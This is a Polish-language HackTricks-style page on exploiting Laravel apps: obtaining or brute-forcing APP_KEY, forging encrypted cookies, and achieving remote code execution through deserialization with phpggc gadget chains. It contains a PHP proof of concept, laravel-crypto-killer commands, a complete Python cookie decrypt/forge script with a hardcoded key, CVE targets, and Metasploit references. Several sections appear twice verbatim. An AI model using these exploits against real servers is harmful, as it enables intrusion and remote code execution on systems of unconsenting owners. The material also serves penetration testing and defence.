Laravel

Reading time: 10 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Laravel SQLInjection

Przeczytaj informacje na ten temat tutaj: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Wnętrza szyfrowania (Laravel \u003e=5.6)

Laravel używa AES-256-CBC (lub GCM) z integralnością HMAC w tle (Illuminate\\Encryption\\Encrypter). Surowy tekst szyfrowany, który ostatecznie jest wysyłany do klienta, to Base64 obiektu JSON takiego jak:

json
{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) domyślnie serialize() tekst jawny, podczas gdy decrypt($payload, $unserialize=true) automatycznie unserialize() odszyfrowaną wartość. Dlatego każdy atakujący, który zna 32-bajtowy sekret APP_KEY, może stworzyć zaszyfrowany obiekt PHP zserializowany i uzyskać RCE za pomocą metod magicznych (__wakeup, __destruct, …).

Minimalne PoC (framework ≥9.x):

php
use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Wstrzyknij wygenerowany ciąg do dowolnego podatnego decrypt() sinka (parametr trasy, cookie, sesja, …).


laravel-crypto-killer 🧨

laravel-crypto-killer automatyzuje cały proces i dodaje wygodny tryb bruteforce:

bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Skrypt transparentnie obsługuje zarówno ładunki CBC, jak i GCM oraz regeneruje pole HMAC/tag.


Wzorce podatności w rzeczywistym świecie

ProjektPodatny punktŁańcuch gadżetów
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)Ciasteczko XSRF-TOKEN, gdy Passport::withCookieSerialization() jest włączoneLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookie → ciasteczko laravel_sessionLaravel/RCE15

Workflow eksploatacji zawsze wygląda następująco:

  1. Uzyskaj APP_KEY (domyślne przykłady, wyciek z Git, wyciek config/.env lub brute-force)
  2. Wygeneruj gadżet za pomocą PHPGGC
  3. laravel_crypto_killer.py encrypt …
  4. Dostarcz ładunek przez podatny parametr/ciasteczko → RCE

Masowe odkrywanie APP_KEY za pomocą brute-force ciasteczek

Ponieważ każda świeża odpowiedź Laravel ustawia co najmniej 1 zaszyfrowane ciasteczko (XSRF-TOKEN i zazwyczaj laravel_session), publiczne skanery internetowe (Shodan, Censys, …) ujawniają miliony szyfrogramów, które można atakować offline.

Kluczowe ustalenia badań opublikowanych przez Synacktiv (2024-2025):

  • Zbiór danych lipiec 2024 » 580 k tokenów, 3,99 % kluczy złamanych (≈23 k)
  • Zbiór danych maj 2025 » 625 k tokenów, 3,56 % kluczy złamanych
  • 1 000 serwerów nadal podatnych na przestarzałe CVE-2018-15133, ponieważ tokeny bezpośrednio zawierają zserializowane dane.

  • Ogromne ponowne użycie kluczy – Top-10 APP_KEYów to domyślne wartości zakodowane w komercyjnych szablonach Laravel (UltimatePOS, Invoice Ninja, XPanel, …).

Prywatne narzędzie Go nounours zwiększa wydajność brute-force AES-CBC/GCM do ~1,5 miliarda prób/s, redukując łamanie pełnego zbioru danych do <2 minut.


Odniesienia

Laravel Tricks

Tryb debugowania

Jeśli Laravel jest w trybie debugowania, będziesz mógł uzyskać dostęp do kodu i wrażliwych danych.
Na przykład http://127.0.0.1:8000/profiles:

Jest to zazwyczaj potrzebne do eksploatacji innych CVE RCE Laravel.

.env

Laravel zapisuje APP, którego używa do szyfrowania ciasteczek i innych poświadczeń w pliku o nazwie .env, do którego można uzyskać dostęp za pomocą pewnego przejścia ścieżki pod: /../.env

Laravel pokaże również te informacje na stronie debugowania (która pojawia się, gdy Laravel napotyka błąd i jest aktywowana).

Używając tajnego APP_KEY Laravel, możesz odszyfrować i ponownie zaszyfrować ciasteczka:

Odszyfruj ciasteczko

python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')

Laravel Deserialization RCE

Wersje podatne: 5.5.40 oraz 5.6.x do 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)

Tutaj możesz znaleźć informacje o podatności na deserializację: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

Możesz to przetestować i wykorzystać używając https://github.com/kozmic/laravel-poc-CVE-2018-15133
Lub możesz również wykorzystać to z metasploit: use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

Inna deserializacja: https://github.com/ambionics/laravel-exploits

Laravel SQLInjection

Przeczytaj informacje o tym tutaj: https://stitcher.io/blog/unsafe-sql-functions-in-laravel

Laravel SQLInjection

Przeczytaj informacje o tym tutaj: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Wnętrza szyfrowania (Laravel \u003e=5.6)

Laravel używa AES-256-CBC (lub GCM) z integralnością HMAC w tle (Illuminate\\Encryption\\Encrypter). Surowy szyfrogram, który ostatecznie jest wysyłany do klienta, to Base64 obiektu JSON jak:

json
{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) domyślnie serialize() tekst jawny, podczas gdy decrypt($payload, $unserialize=true) automatycznie unserialize() odszyfrowaną wartość. Dlatego każdy atakujący, który zna 32-bajtowy sekret APP_KEY, może stworzyć zaszyfrowany obiekt PHP zserializowany i uzyskać RCE za pomocą metod magicznych (__wakeup, __destruct, …).

Minimalne PoC (framework ≥9.x):

php
use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Wstrzyknij wygenerowany ciąg do dowolnego podatnego decrypt() sinka (parametr trasy, cookie, sesja, …).


laravel-crypto-killer 🧨

laravel-crypto-killer automatyzuje cały proces i dodaje wygodny tryb bruteforce:

bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Skrypt transparentnie obsługuje zarówno ładunki CBC, jak i GCM oraz regeneruje pole HMAC/tag.


Wzorce podatności w rzeczywistym świecie

ProjektPodatny punktŁańcuch gadżetów
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)Ciasteczko XSRF-TOKEN, gdy Passport::withCookieSerialization() jest włączoneLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookie → ciasteczko laravel_sessionLaravel/RCE15

Workflow eksploatacji zawsze wygląda następująco:

  1. Uzyskaj APP_KEY (domyślne przykłady, wyciek z Git, wyciek config/.env lub brute-force)
  2. Wygeneruj gadżet za pomocą PHPGGC
  3. laravel_crypto_killer.py encrypt …
  4. Dostarcz ładunek przez podatny parametr/ciasteczko → RCE

Masowe odkrywanie APP_KEY za pomocą brute-force ciasteczek

Ponieważ każda świeża odpowiedź Laravel ustawia co najmniej 1 zaszyfrowane ciasteczko (XSRF-TOKEN i zazwyczaj laravel_session), publiczne skanery internetowe (Shodan, Censys, …) ujawniają miliony szyfrogramów, które można atakować offline.

Kluczowe ustalenia badań opublikowanych przez Synacktiv (2024-2025):

  • Zbiór danych lipiec 2024 » 580 k tokenów, 3,99 % kluczy złamanych (≈23 k)
  • Zbiór danych maj 2025 » 625 k tokenów, 3,56 % kluczy złamanych
  • 1 000 serwerów nadal podatnych na przestarzałe CVE-2018-15133, ponieważ tokeny bezpośrednio zawierają zserializowane dane.

  • Ogromne ponowne użycie kluczy – Top-10 APP_KEYów to domyślne wartości zakodowane w komercyjnych szablonach Laravel (UltimatePOS, Invoice Ninja, XPanel, …).

Prywatne narzędzie Go nounours zwiększa wydajność brute-force AES-CBC/GCM do ~1,5 miliarda prób/s, redukując łamanie pełnego zbioru danych do <2 minut.


Odniesienia

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks